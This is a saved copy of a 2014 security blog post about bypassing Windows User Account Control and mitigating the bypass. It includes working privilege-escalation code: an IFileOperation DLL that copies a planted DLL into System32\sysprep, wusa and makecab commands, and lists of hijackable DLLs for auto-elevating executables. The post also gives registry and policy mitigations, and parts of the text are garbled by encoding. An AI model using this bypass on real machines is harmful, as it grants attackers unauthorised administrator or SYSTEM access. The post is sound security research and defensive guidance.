Navigation: » Directory » Knowledge Base

Bypassing Windows User Account Control (UAC) and ways of mitigation (GreyHatHacker.net - reddit.com/r/netsec)

UNCLASSIFIED

From: <Saved by WebKit> Subject: Bypassing Windows User Account Control ( UAC User Account Control ) and ways of mitigation | GreyHatHacker.NET Date: Tue, 29 Dec 2014 14:09:54 -0000 MIME-Version: 1.0 Content-Type: multipart/related; type="text/html"; boundary="----=_NextPart_000_F36D_71461CB5.6CB8B07E" ------=_NextPart_000_F36D_71461CB5.6CB8B07E Content-Type: text/html Content-Transfer-Encoding: quoted-printable Content-Location: http://www.greyhathacker.net/?p=796 <!DOCTYPE html><!--[if IE Internet Explorer 7]> <html id=3D"ie7" lang=3D"en-US"> <![endif]--><!--[if IE Internet Explorer 8]> <html id=3D"ie8" lang=3D"en-US"> <![endif]--><!--[if !( IE Internet Explorer 7) | !( IE Internet Explorer 8) ]><!--><html lang=3D"en-US"><!--<![en= dif]--><head><meta charset=3D"UTF-8"> =09 <title>Bypassing Windows User Account Control ( UAC User Account Control ) and ways of mitigation= | GreyHatHacker.NET</title> <link rel=3D"profile" href=3D"http://gmpg.org/xfn/11"> <link rel=3D"pingback" href=3D"http://www.greyhathacker.net/xmlrpc.php"> <!--[if lt IE Internet Explorer 9]> <script src=3D"http://www.greyhathacker.net/wp-content/themes/parament/js/= html5.js" type=3D"text/javascript"></script> <![endif]--> <link rel=3D"alternate" type=3D"application/rss+xml" title=3D"GreyHatHacke= r.NET =C2=BB Feed" href=3D"http://www.greyhathacker.net/?feed=3Drss2"> <link rel=3D"alternate" type=3D"application/rss+xml" title=3D"GreyHatHacker= .NET =C2=BB Comments Feed" href=3D"http://www.greyhathacker.net/?feed=3Dcom= ments-rss2"> <link rel=3D"alternate" type=3D"application/rss+xml" title=3D"GreyHatHacker= .NET =C2=BB Bypassing Windows User Account Control ( UAC User Account Control ) and ways of mitiga= tion Comments Feed" href=3D"http://www.greyhathacker.net/?feed=3Drss2&p= =3D796"> <link rel=3D"stylesheet" id=3D"cptch_stylesheet-css" href=3D"http://www.gre= yhathacker.net/wp-content/plugins/captcha/css/style.css" type=3D"text/css" = media=3D"all"> <link rel=3D"stylesheet" id=3D"parament-css" href=3D"http://www.greyhathack= er.net/wp-content/themes/parament/style.css" type=3D"text/css" media=3D"all= "> <!-- This site uses the Yoast Google Analytics plugin v5.2.4 - Universal di= sabled - https://yoast.com/wordpress/plugins/google-analytics/ --> <style type=3D"text/css"></style> <!-- / Yoast Google Analytics --> <link rel=3D"prev" title=3D"Bypassing Windows ASLR Address Space Layout Randomization in Microsoft Word using = Component Object Model (COM) objects" href=3D"http://www.greyhathacker.net/= ?p=3D770"> <link rel=3D"canonical" href=3D"http://www.greyhathacker.net/?p=3D796"> <link rel=3D"shortlink" href=3D"http://www.greyhathacker.net/?p=3D796"> </head> <body class="3D""single single-post postid-796 single-format-standard"> <div id=3D"page-wrap" class="3D""contain"> <header id=3D"branding" role=3D"banner"> <h1 id=3D"site-title"><a href=3D"http://www.greyhathacker.net/">GreyHatHa= cker.NET</a></h1> <h2 id=3D"site-description">Malware, Vulnerabilities, Exploits and mor= e . . .</h2> =09 </header><!-- #branding --> <nav id=3D"menu" role=3D"navigation"><div class="3D""menu"><ul><li class="3D""= page_item page-item-13"><a href=3D"http://www.greyhathacker.net/?page_id=3D= 13">About</a></li></ul></div> </nav> <div id=3D"container" class="3D""contain"> <div id=3D"main" role=3D"main"> =09 <article id=3D"post-796" class="3D""post-796 post type-post status-publish fo= rmat-standard hentry category-all category-exploits category-mitigation cat= egory-vulnerabilities tag-elevate tag-hijack tag-uac contain has-byline"> <div class="3D""title"> <h2 class="3D""entry-title">Bypassing Windows User Account Control ( UAC User Account Control )= and ways of mitigation</h2> <div class="3D""entry-byline"> <span>Posted by <a href=3D"http://www.greyhathacker.net/?author=3D1" tit= le=3D"View all posts by Parvez">Parvez</a> on <a href=3D"http://www.greyhat= hacker.net/?p=3D796">December 24, 2014</a></span> </div> <div class="3D""entry-meta"> Posted in: <a href=3D"http://www.greyhathacker.net/?cat=3D18" rel=3D"= category">All</a>, <a href=3D"http://www.greyhathacker.net/?cat=3D7" rel=3D= "category">Exploits</a>, <a href=3D"http://www.greyhathacker.net/?cat=3D40"= rel=3D"category">Mitigation</a>, <a href=3D"http://www.greyhathacker.net/?= cat=3D6" rel=3D"category">Vulnerabilities</a>. =09 Tagged: <a href=3D"http://www.greyhathacker.net/?tag=3Delevate" rel= =3D"tag">Elevate</a>, <a href=3D"http://www.greyhathacker.net/?tag=3Dhijack= " rel=3D"tag">Hijack</a>, <a href=3D"http://www.greyhathacker.net/?tag=3Dua= c" rel=3D"tag">UAC</a>. =09 <span class="3D""comments"><a href=3D"http://www.greyhathacker.net/?p= =3D796#respond" title=3D"Comment on Bypassing Windows User Account Control = ( UAC User Account Control ) and ways of mitigation">Leave a Comment</a></span> </div><!-- entry-meta --> </div><!-- end title --> <div class="3D""entry-content"> <p>Securing machines from abuse and compromise in a corporate environment= has always been an ongoing process. Providing admin rights to users has al= ways been abused as users have ended up installing unapproved software, cha= nge configurations, etc. Not giving local admin rights and they claim they = can=E2=80=99t do their work. If malware happens to compromise the machine w= ith full admin rights then you are most likely looking at reimaging the mac= hine.</p> <p>User Account Control ( UAC User Account Control ) gives us the ability to run in standard user = rights instead of full administrator rights. So even if your standard user = account is in the local admin group damage is limited, i.e. installing serv= ices, drivers, writing to secure locations, etc. are denied. To carry out t= hese actions users would need to interact with the desktop such us right cl= ick and run as administrator or accept the UAC User Account Control elevation prompt. UAC User Account Control was in= troduced from Windows Vista onwards and contains a number of technologies t= hat include file system and registry virtualization, the Protected Administ= rator (PA) account, UAC User Account Control elevation prompts and Windows Integrity levels.</p> <p>UAC works by adjusting the permission level of our user account, so prog= rams actions are carried out as a standard user even if we have local admin= rights on the computer. When changes are going to be made that require adm= inistrator-level permission UAC User Account Control notifies us. If we have local admin rights = then we can click yes to continue otherwise we would be prompted to enter a= n administrator password. These would however depend on what policies have = been defined in your environment.</p> <p>This blog post shows how easily UAC User Account Control elevation prompts could be bypassed = and what actions could be taken to mitigate this threat.</p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/rege= dituac.png" alt=3D"" width=3D"466" height=3D"276"></p> <p><strong>Bypassing UAC</strong><br> Exploiting UAC User Account Control is a trivial process. There are two stages needed to be take= n to achieve bypass to elevate from standard user rights to administrator u= ser rights. These steps have widely been published so it=E2=80=99s nothing = new though stage 2 documents some more DLL Dynamic Link Library hijacking vulnerabilities.</p> <ul> <li>Writing to a secure location</li> <li>Exploiting DLL Dynamic Link Library hijacking vulnerability</li> </ul> <p>In order for our bypass to be successful to start off with we need</p> <ol> <li>A medium integrity process</li> <li>A standard user in an administrators group</li> <li>Windows executable must be signed by Microsoft code signing certificate= </li> <li>Windows executable must be located in a secure directory</li> <li>Windows executable also must specify the auto Elevate property in their= manifest</li> </ol> <p><strong>Writing to a secure location</strong><br> There are a couple of ways we can write to a secure location.</p> <ul> <li>Using the IFileOperation COM Object</li> <li>Using Windows Update Standalone Installer (wusa.exe)</li> </ul> <p><strong>IFileOperation COM Object</strong><br> The IFileOperation COM object has a method that we can use to copy files to= our secure location as the operation will auto-elevate and able to do a pr= ivilege copy. To exploit we can in inject our malicious DLL Dynamic Link Library in a medium int= egrity process to carry out the operation. Since the COM object is set to a= uto-elevate the injected process does not need to be marked for auto-elevat= ion in its manifest.</p> <p>On windows 7 injected processes that have copied successfully are</p> <pre>C:\Windows\explorer.exe C:\Windows\System32\wuauclt.exe C:\Windows\System32\taskhost.exe</pre> <p>During tests taskhost.exe only happens to work once after boot and wuauc= lt.exe doesn=E2=80=99t always work which leaves explorer.exe is only the re= liable process to use.</p> <p>On Windows 8 injected processes that have copied successfully are</p> <pre>C:\Windows\explorer.exe C:\Windows\System32\wuauclt.exe C:\Windows\System32\RuntimeBroker.exe</pre> <p>Again explorer.exe is only the reliable process to use I found during my= tests and the only one that worked on Windows 8.1</p> <p>The main part of the code below has been taken from <a href=3D"http://ms= dn.microsoft.com/en-gb/library/windows/desktop/bb775761(v=3Dvs.85).aspx" on= click=3D"_gaq.push(['_trackEvent', 'outbound-article', 'http://msdn.microso= ft.com/en-gb/library/windows/desktop/bb775761(v=3Dvs.85).aspx', 'MSDN']);" = target=3D"_blank">MSDN</a> with just the some minor changes. The SetOperati= onFlags values used was taken from the UAC User Account Control bypass code published <a href=3D= "http://download.pureftpd.org/pub/misc/UAC.cpp" onclick=3D"_gaq.push(['_tra= ckEvent', 'outbound-article', 'http://download.pureftpd.org/pub/misc/UAC.cp= p', 'here']);" target=3D"_blank">here</a>.</p> <pre>#include <stdio.h> #include <Shobjidl.h> #include <Windows.h> #pragma comment(lib, "Ole32.lib") #pragma comment(lib, "shell32.lib") int WINAPI Windows Application Programming Interface DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { FileOperation *pfo; IShellItem *psiFrom =3D NULL; IShellItem *psiTo =3D NULL; LPCWSTR pszSrcItem =3D L"calc.dll"; LPCWSTR pszNewName =3D L"cryptbase.dll"; LPCWSTR pszDest =3D L"C:\\windows\\System32\\sysprep"; HRESULT hr =3D CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISAB= LE_OLE1DDE); if (SUCCEEDED(hr)) { hr =3D CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARG= S(&pfo)); if (SUCCEEDED(hr)) { hr =3D pfo->SetOperationFlags( FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION | FOF_NOERRORUI ); if (SUCCEEDED(hr)) { hr =3D SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psi= From)); if (SUCCEEDED(hr)) { if (NULL !=3D pszDest) { hr =3D SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo)= ); } if (SUCCEEDED(hr)) { hr =3D pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL); if (NULL !=3D psiTo) { psiTo->Release(); } } psiFrom->Release(); } if (SUCCEEDED(hr)) { hr =3D pfo->PerformOperations(); } } pfo->Release(); } CoUninitialize(); } return 0; }</pre> <p><strong>Windows Update Standalone Installer</strong><br> Another method to use to copy to our secure location is using Windows Updat= e Standalone Installer (wusa.exe). Wusa.exe when executed runs as a high in= tegrity process as its set to auto-elevate in its manifest. For auto-elevat= ion the Windows executable must be signed, located in a secure directory su= ch as C:\Windows\System32 and must specify the autoElevate property in thei= r manifest.</p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/wusa= autoelevate.png" alt=3D"" width=3D"778" height=3D"463"></p> <p>We use wusa.exe to extract a CAB file (cabinet archive file) to our secu= re location</p> <pre>wusa c:\users\user1\desktop\poc.tmp /extract:c:\windows\system32\syspr= ep</pre> <p>Here in the example our cab file is called poc.tmp but we can call it wh= atever we like. Windows comes with the makecab.exe tool so we can even crea= te our cab file</p> <pre>makecab c:\users\user1\desktop\CRYPTBASE.dll c:\users\user1\desktop\po= c.tmp</pre> <p><strong>Exploiting DLL Dynamic Link Library hijacking vulnerability</strong><br> When exploiting a DLL Dynamic Link Library hijacking vulnerability the executable we are going t= o run again has to be signed; located in a secure directory and must specif= y the autoElevate property in its manifest in order load as a high integrit= y process.</p> <p>On Windows 7 there are three executables that could be exploited and ass= ociated DLLs listed below</p> <pre>C:\windows\ehome\Mcx2Prov.exe C:\Windows\ehome\CRYPTBASE.dll C:\windows\System32\sysprep\sysprep.exe C:\Windows\System32\sysprep\CRYPTSP.dll C:\windows\System32\sysprep\CRYPTBASE.dll C:\Windows\System32\sysprep\RpcRtRemote.dll C:\Windows\System32\sysprep\UxTheme.dll C:\windows\System32\cliconfg.exe C:\Windows\System32\NTWDBLIB.DLL</pre> <p>On <a href=3D"https://malwr.com/analysis/ZDlmN2UzODMyY2ExNDQwY2I1NzExZWZ= lYTgxYzA1NDM/" onclick=3D"_gaq.push(['_trackEvent', 'outbound-article', 'ht= tps://malwr.com/analysis/ZDlmN2UzODMyY2ExNDQwY2I1NzExZWZlYTgxYzA1NDM/', 'ma= lwr.com ']);" target=3D"_blank">malwr.com </a>a malware submitted on 25th J= une last year had already been using Mcx2Prov.exe to bypass UAC User Account Control and day lat= er an exploit had also been <a href=3D"https://github.com/hzeroo/Carberp/bl= ob/master/source%20-%20absource/pro/all%20source/BJWJ/source/exploit/UAC_by= pass.cpp" onclick=3D"_gaq.push(['_trackEvent', 'outbound-article', 'https:/= /github.com/hzeroo/Carberp/blob/master/source%20-%20absource/pro/all%20sour= ce/BJWJ/source/exploit/UAC_bypass.cpp', 'published']);" target=3D"_blank">p= ublished</a>.</p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/malw= ruac.png" alt=3D"" width=3D"427" height=3D"257"></p> <p>The same hash had also been flagged on <a href=3D"https://www.virustotal= .com/en/file/bef9e8ff80572c0fbb4e2d495e70b02f724897dfafcf6dd41b75b08e972142= 9b/analysis/" onclick=3D"_gaq.push(['_trackEvent', 'outbound-article', 'htt= ps://www.virustotal.com/en/file/bef9e8ff80572c0fbb4e2d495e70b02f724897dfafc= f6dd41b75b08e9721429b/analysis/', 'VirusTota']);" target=3D"_blank">VirusTo= ta</a>l (38/54) submitted over four months ago.</p> <p>On Windows 8 there are also three executables that could be exploited an= d associated DLLs listed below</p> <pre>C:\windows\System32\sysprep\sysprep.exe C:\windows\System32\sysprep\CRYPTBASE.dll C:\Windows\System32\Sysprep\dwmapi.dll C:\Windows\System32\Sysprep\SHCORE.dll C:\windows\System32\cliconfg.exe C:\Windows\System32\NTWDBLIB.DLL C:\windows\System32\pwcreator.exe C:\Windows\System32\vds.exe C:\Windows\System32\UReFS.DLL</pre> <p>Finally on Windows 8.1 there are also three executables that could be ex= ploited and associated DLLs listed below</p> <pre>C:\windows\System32\sysprep\sysprep.exe C:\Windows\System32\Sysprep\SHCORE.dll C:\Windows\System32\Sysprep\OLEACC.DLL C:\windows\System32\cliconfg.exe C:\Windows\System32\NTWDBLIB.DLL C:\windows\System32\pwcreator.exe C:\Windows\System32\vds.exe C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll</pre> <p>Calling pwcreator.exe (Create a Windows To Go workspace) executable call= s vds.exe (Virtual Disk Service) which then loads our DLL Dynamic Link Library and gives us Syst= em integrity running in SYSTEM account.</p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/proe= xpvds.png" alt=3D"" width=3D"782" height=3D"598"></p> <p>Calling these executables sysprep.exe, cliconfg.exe and pwcreater.exe do= es produce a GUI Graphical User Interface window but should be able to easily make it run in the bac= kground and then terminated after being exploited. This is something I have= n=E2=80=99t looked into so I=E2=80=99ll leave upto you.</p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/sysp= rep.png" alt=3D"" width=3D"354" height=3D"267"></p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/clic= onfg.png" alt=3D"" width=3D"546" height=3D"355"></p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/pwcr= eator.png" alt=3D"" width=3D"628" height=3D"466"></p> <p><strong>Mitigation</strong><br> The best way to mitigate this bypass is just by not giving users local admi= n rights to their machines. Majority of user accounts in a corporate enviro= nment you should be able to do this reducing the attack surface. This howev= er does not apply home users which would have local admin rights by default= .</p> <p>The actual bypass only works when set to the middle two UAC User Account Control settings whi= ch will let it auto-elevate. To see your settings you need to go to Control= Panel =E2=80=93 User Accounts =E2=80=93 Change User Account Control settin= gs.</p> <p><strong><em>Notify me only when apps try to make changes to my computer = (default)</em></strong><br> <strong><em> Notify me only when apps try to make changes to my computer (d= o not dim desktop settings)</em></strong></p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/uacs= ettings.png" alt=3D"" width=3D"662" height=3D"488"></p> <p>so we could set to <strong>Always notify</strong> but this would bring i= t back to like it was on Windows Vista with constant notifications and not = really practical and the user would end up setting it to <strong>Never noti= fy</strong> which is definitely not a good idea.</p> <p>Microsoft has given us 10 UAC User Account Control policies to play with so it=E2=80=99s wort= h spending some time understanding and testing these out before implementin= g it in your own domain environment. To see what is applied on your local m= achine type <strong>secpol.msc</strong> into Start-Run to open the Local Se= curity Policy snap-in and expand the Local Policies-Security Options folder= . Run <strong>rsop.msc</strong> to view group policies applied on machines = in a domain environment.</p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/secp= ol.png" alt=3D"" width=3D"799" height=3D"299"></p> <p>Looking in the registry these are the default values of UAC</p> <pre>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies= \System] "ConsentPromptBehaviorAdmin"=3Ddword:00000005 "ConsentPromptBehaviorUser"=3Ddword:00000003 "EnableInstallerDetection"=3Ddword:00000001 "EnableLUA"=3Ddword:00000001 "EnableSecureUIAPaths"=3Ddword:00000001 "EnableUIADesktopToggle"=3Ddword:00000000 "EnableVirtualization"=3Ddword:00000001 "FilterAdministratorToken"=3Ddword:00000000 "PromptOnSecureDesktop"=3Ddword:00000001 "ValidateAdminCodeSignatures"=3Ddword:00000000</pre> <p>When the slider is moved upto =E2=80=9CAlways notify me=E2=80=9D it User #71492 = ges this value</p> <pre>"ConsentPromptBehaviorAdmin"=3Ddword:00000002</pre> <p>When the slider is moved down to =E2=80=9CNotify me only when apps try t= o make changes to my computer (do not dim desktop settings)=E2=80=9D it cha= nges this value</p> <pre>"PromptOnSecureDesktop"=3Ddword:00000000</pre> <p>And when the slider is moved to =E2=80=9CNever notify=E2=80=9D the value= s changed are</p> <pre>"ConsentPromptBehaviorAdmin"=3Ddword:00000000 "EnableLUA"=3Ddword:00000000 "PromptOnSecureDesktop"=3Ddword:00000000 </pre> <p>Take note that <strong>EnableLUA</strong> has been disabled completely. = This is an extremely dangerous value to be in and should never be disabled = so its strongly recommend to set this settings to be enabled in group polic= ies so it always gets applied if settings are reset/changed by users or by = previously removed malware.</p> <p><strong><em>User Account Control: Run all administrators in Admin Approv= al Mode</em></strong></p> <p>Once disabled not only a malicious process could be able to go straight = to high integrity without any bypass but also Internet Explorer would run i= n medium integrity. UAC User Account Control gives us the Protected Mode (sandbox) in Internet E= xplorer providing added security. Internet Explorer normally runs in low in= tegrity child process so if compromised by some IE Internet Explorer exploit the damage is mi= nimized as in low integrity there are only a handful of locations it can be= written to on the system.</p> <p>These changes mentioned above have been seen on Windows 7. On Windows 8/= 8.1 <strong>EnableLUA</strong> does not change to disabled. So when the sli= der is moved to <strong>Never notify</strong> the values changed are only</= p> <pre>"ConsentPromptBehaviorAdmin"=3Ddword:00000000 "PromptOnSecureDesktop"=3Ddword:00000000</pre> <p>Since value =E2=80=9CEnableLUA=E2=80=9D=3Ddword:00000001 does not change= , UAC User Account Control is not completely disabled and Internet Explorer would still run in l= ow integrity.</p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/iew8= low.png" alt=3D"" width=3D"788" height=3D"317"></p> <p>If however a user logged onto a machine using the local admin account (a= dministrator or whatever renamed on your corporate build) UAC User Account Control settings does= not apply as all processes run in high integrity. This applies to Windows = 7/8 and 8.1 so always make sure users <strong>DO NOT</strong> logon using l= ocal admin account, if local admin rights are required better add their dom= ain account to the local administrators group.</p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/comp= manuac.png" alt=3D"" width=3D"764" height=3D"365"></p> <p><img class="3D""alignnone" src=3D"http://www.greyhathacker.net/images/iew8= high.png" alt=3D"" width=3D"788" height=3D"318"></p> <p>If for whatever reason logging on using the local admin account is a nec= essity then best set this UAC User Account Control policy to enabled.</p> <p><strong><em>User Account Control: Admin Approval Mode for the built-in A= dministrator account</em></strong><br> <em>=E2=80=9CFilterAdministratorToken=E2=80=9D=3Ddword:00000001</em></p> <p>Another option would be to look into renaming or deleting the executable= s Mcx2Prov.exe, sysprep.exe, cliconfg.exe and pwcreator.exe if definitely n= ot required on the system so the second stage to exploit DLL Dynamic Link Library hijacking fail= s.</p> <p>Finally if users do require local admin privileges then worth setting th= eir machine UAC User Account Control policy to <strong>Always notify</strong> and they live with= the constant notifications.</p> <p><em><strong>User Account Control: Behavior of the elevation prompt for a= dministrators in Admin Approval Mode</strong> (2-Prompt for consent on the = secure desktop)</em></p> <p><strong>Conclusion</strong><br> This bypass only works when all of the requirements are available to abuse.= Remove one requirement and the bypass will fail. Office documents are open= ed in medium integrity so these are ideal targets to abuse the UAC User Account Control bypass. = Since these bypasses are so effortlessly achieved the only real course of a= ction would be to set UAC User Account Control to =E2=80=9CAlways notify=E2=80=9D or remove loca= l admin rights for the user. In the end using agents like Microsoft EMET or= MalwareBytes Anti-Exploit would be the best mitigating action to take from= initially being exploited in the first place.</p> <p>Here are the <a href=3D"http://www.greyhathacker.net/docs/uacbypasspoc.z= ip" onclick=3D"_gaq.push(['_trackEvent','download','http://www.greyhathacke= r.net/docs/uacbypasspoc.zip']);">source and binaries</a> you can test for y= ourself. I tested it on Windows Enterprise 7/8/8.1 64bit</p> <p><strong>References</strong><br> <a href=3D"http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx" on= click=3D"_gaq.push(['_trackEvent', 'outbound-article', 'http://technet.micr= osoft.com/en-us/magazine/2009.07.uac.aspx', 'http://technet.microsoft.com/e= n-us/magazine/2009.07.uac.aspx']);" target=3D"_blank">http://technet.micros= oft.com/en-us/magazine/2009.07.uac.aspx</a><br> <a href=3D"http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx" on= click=3D"_gaq.push(['_trackEvent', 'outbound-article', 'http://technet.micr= osoft.com/en-us/magazine/2007.06.uac.aspx', 'http://technet.microsoft.com/e= n-us/magazine/2007.06.uac.aspx']);" target=3D"_blank">http://technet.micros= oft.com/en-us/magazine/2007.06.uac.aspx</a><br> <a href=3D"http://windows.microsoft.com/en-gb/windows/what-is-user-account-= control#1TC=3Dwindows-7" onclick=3D"_gaq.push(['_trackEvent', 'outbound-art= icle', 'http://windows.microsoft.com/en-gb/windows/what-is-user-account-con= trol#1TC=3Dwindows-7', 'http://windows.microsoft.com/en-gb/windows/what-is-= user-account-control#1TC=3Dwindows-7']);" target=3D"_blank">http://windows.= microsoft.com/en-gb/windows/what-is-user-account-control#1TC=3Dwindows-7</a= ><br> <a href=3D"http://windows.microsoft.com/en-gb/windows/what-are-user-account= -control-settings#1TC=3Dwindows-7" onclick=3D"_gaq.push(['_trackEvent', 'ou= tbound-article', 'http://windows.microsoft.com/en-gb/windows/what-are-user-= account-control-settings#1TC=3Dwindows-7', 'http://windows.microsoft.com/en= -gb/windows/what-are-user-account-control-settings#1TC=3Dwindows-7']);" tar= get=3D"_blank">http://windows.microsoft.com/en-gb/windows/what-are-user-acc= ount-control-settings#1TC=3Dwindows-7</a><br> <a href=3D"http://blog.cobaltstrike.com/2014/03/20/user-account-control-wha= t-penetration-testers-should-know" onclick=3D"_gaq.push(['_trackEvent', 'ou= tbound-article', 'http://blog.cobaltstrike.com/2014/03/20/user-account-cont= rol-what-penetration-testers-should-know', 'http://blog.cobaltstrike.com/20= 14/03/20/user-account-control-what-penetration-testers-should-know']);" tar= get=3D"_blank">http://blog.cobaltstrike.com/2014/03/20/user-account-control= -what-penetration-testers-should-know</a></p> </div> <nav id=3D"post-nav" class="3D""contain"> <h1 class="3D""assistive-text">Posts navigation</h1> <div class="3D""nav-older">=E2=86=90 <a href=3D"http://www.greyhathacker.ne= t/?p=3D770" rel=3D"prev">Bypassing Windows ASLR Address Space Layout Randomization in Microsoft Word using Com= ponent Object Model (COM) objects</a></div> </nav> =09 </article> =09 <div id=3D"comments"> =09 <div id=3D"respond" class="3D""comment-respond"> <h3 id=3D"reply-title" class="3D""comment-reply-title">Leave a Reply <sma= ll><a rel=3D"nofollow" id=3D"cancel-comment-reply-link" href=3D"http://www.= greyhathacker.net/?p=3D796#respond" style=3D"display:none;">Cancel reply</a= ></small></h3> <form action=3D"http://www.greyhathacker.net/wp-comments-post.php"= method=3D"post" id=3D"commentform" class="3D""comment-form"> <p class="3D""comment-notes">Your email address will not b= e published. Required fields are marked <span class="3D""required">*</span></= p> <p class="3D""comment-form-author"><label for=3D"author">Name <span = class=3D"required">*</span></label> <input id=3D"author" name=3D"author" ty= pe=3D"text" value=3D"" size=3D"30" aria-required=3D"true"></p> <p class="3D""comment-form-email"><label for=3D"email">Email <span class="3D""r= equired">*</span></label> <input id=3D"email" name=3D"email" type=3D"text" = value=3D"" size=3D"30" aria-required=3D"true"></p> <p class="3D""comment-form-url"><label for=3D"url">Website</label> <input id= =3D"url" name=3D"url" type=3D"text" value=3D"" size=3D"30"></p> <p class="3D""cptch_block"><label>Captcha<span class="3D""required"> *</span></= label><br> <input type=3D"hidden" name=3D"cptch_result" value=3D"XJk=3D"> <input type=3D"hidden" name=3D"cptch_time" value=3D"1419862013"> <input type=3D"hidden" value=3D"Version: 4.0.7"> <input id=3D"cptch_input" class="3D""cptch_input" type=3D"text" autocomplet= e=3D"off" name=3D"cptch_number" value=3D"" maxlength=3D"2" size=3D"2" aria-= required=3D"true" required=3D"required" style=3D"margin-bottom:0;display:in= line;font-size: 12px;width: 40px;"> =E2=88=92 two =3D 1</p> <p c= lass=3D"comment-form-comment"><label for=3D"comment">Comment</label> <texta= rea id=3D"comment" name=3D"comment" cols=3D"45" rows=3D"8" aria-required=3D= "true"></textarea></p> <p class="3D""form-allowed-tags">You may use thes= e <abbr title=3D"HyperText Markup Language">HTML</abbr> tags and attributes= : <code><a href=3D"" title=3D""> <abbr title=3D""> <acronym= title=3D""> <b> <blockquote cite=3D""> <cite> <cod= e> <del datetime=3D""> <em> <i> <q cite=3D""> &l= t;strike> <strong> </code></p> <p class="3D""form-submit"> <input name=3D"submit" type=3D"submit" id=3D"submit" value=3D"Post C= omment"> <input type=3D"hidden" name=3D"comment_post_ID" value=3D"796" id=3D"= comment_post_ID"> <input type=3D"hidden" name=3D"comment_parent" id=3D"comment_parent" value= =3D"0"> </p> </form> </div><!-- #respond --> =09 </div><!-- #comments --> </div><!-- end main --> <ul id=3D"sidebar" role=3D"complementary"> <li id=3D"recent-posts-3" class="3D""widget widget_recent_entries"> <h2 c= lass=3D"widget-title">Recent Posts</h2> <ul> <li> <a href=3D"http://www.greyhathacker.net/?p=3D796">Bypassing Windows Use= r Account Control ( UAC User Account Control ) and ways of mitigation</a> </li> <li> <a href=3D"http://www.greyhathacker.net/?p=3D770">Bypassing Windows ASL= R in Microsoft Word using Component Object Model (COM) objects</a> </li> <li> <a href=3D"http://www.greyhathacker.net/?p=3D756">Bypassing Windows ASL= R using =E2=80=9CRun without permission=E2=80=9D Add-ons</a> </li> <li> <a href=3D"http://www.greyhathacker.net/?p=3D738">Elevating privileges = by exploiting weak folder permissions</a> </li> <li> <a href=3D"http://www.greyhathacker.net/?p=3D717">Heap spraying browser= s using Adobe Flash=E2=80=99s ActionScript</a> </li> </ul> </li><li id=3D"categories-3" class="3D""widget widget_categories"><h2 class= =3D"widget-title">Categories</h2> <ul> <li class="3D""cat-item cat-item-18"><a href=3D"http://www.greyhathacker.net= /?cat=3D18">All</a> </li> <li class="3D""cat-item cat-item-8"><a href=3D"http://www.greyhathacker.net/= ?cat=3D8">Bugs</a> </li> <li class="3D""cat-item cat-item-7"><a href=3D"http://www.greyhathacker.net/= ?cat=3D7">Exploits</a> </li> <li class="3D""cat-item cat-item-5"><a href=3D"http://www.greyhathacker.net/= ?cat=3D5">Malware</a> </li> <li class="3D""cat-item cat-item-40"><a href=3D"http://www.greyhathacker.net= /?cat=3D40">Mitigation</a> </li> <li class="3D""cat-item cat-item-34"><a href=3D"http://www.greyhathacker.net= /?cat=3D34">Other</a> </li> <li class="3D""cat-item cat-item-6"><a href=3D"http://www.greyhathacker.net/= ?cat=3D6">Vulnerabilities</a> </li> </ul> </li><li id=3D"tag_cloud-3" class="3D""widget widget_tag_cloud"><h2 class="3D""= widget-title">Tags</h2><div class="3D""tagcloud"><a href=3D"http://www.greyha= thacker.net/?tag=3Dactionscript" class="3D""tag-link-42" title=3D"1 topic" st= yle=3D"font-size: 8pt;">ActionScript</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dadobe" class="3D""tag-link-22"= title=3D"3 topics" style=3D"font-size: 16.75pt;">Adobe</a> <a href=3D"http://www.greyhathacker.net/?tag=3Danti-rootkit" class="3D""tag-l= ink-27" title=3D"1 topic" style=3D"font-size: 8pt;">Anti-Rootkit</a> <a href=3D"http://www.greyhathacker.net/?tag=3Daslr" class="3D""tag-link-38" = title=3D"4 topics" style=3D"font-size: 19.666666666667pt;">ASLR</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dautorun" class="3D""tag-link-1= 1" title=3D"2 topics" style=3D"font-size: 13.25pt;">Autorun</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dbho" class="3D""tag-link-17" t= itle=3D"1 topic" style=3D"font-size: 8pt;">BHO</a> <a href=3D"http://www.greyhathacker.net/?tag=3Dblazedvd" class="3D""tag-link-= 28" title=3D"1 topic" style=3D"font-size: 8pt;">BlazeDVD</a> <a href=3D"http://www.greyhathacker.net/?tag=3Ddownload-and-execute" class= =3D"tag-link-35" title=3D"1 topic" style=3D"font-size: 8pt;">Download and E= xecute</a> <a href=3D"http://www.greyhathacker.net/?tag=3Delevate" class="3D""tag-link-2= 1" title=3D"3 topics" style=3D"font-size: 16.75pt;">Elevate</a> <a 